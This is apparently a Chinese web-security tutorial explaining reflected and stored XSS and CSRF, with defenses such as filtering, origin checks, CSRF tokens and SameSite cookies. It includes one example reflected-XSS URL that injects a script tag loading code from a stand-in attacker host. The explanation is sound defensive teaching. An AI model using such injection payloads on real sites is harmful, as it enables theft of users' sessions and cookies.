XSS

跨站脚本（英语：Cross-site scripting，通常简称为：XSS）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。 XSS 攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。 ——维基百科

XSS 的特点主要有两点，一个是攻击方可以将代码注入到被攻击方网页上，二是该代码同时会影响其他用户
所以自己打开 F12 控制台，在那自嗨是不算的，因为无法影响其他用户，也没有太大的价值（刷课脚本还是有点小价值的）
XSS 通过注入方式，主要有两种：反射型 XSS，存储型 XSS

反射型 XSS

通过 URL 参数直接注入

该类 XSS 能够成功注入的主要原因，大多是因为网站自身对于 URL 参数的滥用，并且没有积极对该类攻击进行主动防护过滤而导致的。比如直接将 URL 参数内容回显到页面上，就很容易遭到反射型 XSS 的攻击

  1. http://attacked-website.com/?from=<script src="http://attacker.com/hack.js">

如果通过上面的 URL 可以将脚本注入到页面上，攻击者就可以选择伪装这个链接，并将链接发给被攻击者，引诱他们点开链接，点开之后，攻击者就可以通过脚本完成许多攻击操作，获得许多保密信息

存储型 XSS

存储到服务器后，回显时注入

该类 XSS 能够成功注入的主要原因，大多是因为网站直接将服务器提供的内容直接渲染到页面上而导致的，最典型的频发场景就是富文本编辑，或者评论回复。
攻击者将脚本写进富文本中，或者写进评论回复中，被攻击网站未经过滤直接存储到服务器，同时回显时未经过滤处理直接显示到页面上，脚本便会在看到他的其他用户页面上直接生效，然后被攻击。

防御手段

从对 XSS 的了解中可以得到，XSS 成功大多数原因，都是因为被攻击网站本身对于输入输出管控的不严谨，输入没有过滤，输出也没有过滤而导致。
所以一方面不要直接将用户的输入或者 URL 参数直接或间接作用于页面，同时也要对各方面的输入进行过滤。

CSRF

跨站请求伪造（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。[1] 跟跨网站脚本（XSS）相比，XSS 利用的是用户对指定网站的信任，CSRF 利用的是网站对用户网页浏览器的信任。

CSRF 简单来说就是在被攻击者不知情的情况下发起了对攻击者不利的操作
其中一个特点就是冒用当前用户信息，而冒用当前用户的方式，也往往是通过浏览器同源请求自带的 cookie 而实现的
CSRF 同时也可以与 XSS 合作使用，可以发挥更大的杀伤力！

特点

  • 攻击一般发起在第三方网站，而不是被攻击的网站。被攻击的网站无法防止攻击发生。
  • 攻击利用受害者在被攻击网站的登录凭证，冒充受害者提交操作；而不是直接窃取数据。
  • 整个过程攻击者并不能获取到受害者的登录凭证，仅仅是“冒用”。
  • 跨站请求可以用各种方式：图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中，难以进行追踪。

防御手段

  • 同源检测，对需要保证的安全性的接口进行同源检测（仅对部分有需要的接口判断即可）
    • 通过 HTTP 的两个 Header 来判断，一个是 Origin，一个是 Referer
    • 如果上面两个 Header 都没有，建议直接视为非同源
  • CSRF Token
    • 由于 CSRF 的主要攻击方式就是冒用 cookie 里的用户认证，那我们干脆直接将有用户认证换一个种方式存储就可以避免绝大多数情况了
  • 双重 cookie
    • 在 cookie 的用户认证上加点盐
  • SameSite Cookie
    • 设置 cookie 的 SameSite 属性，使得 cookie 只能被同源发出的请求使用，当然这很难阻止同源的 CSRF

参考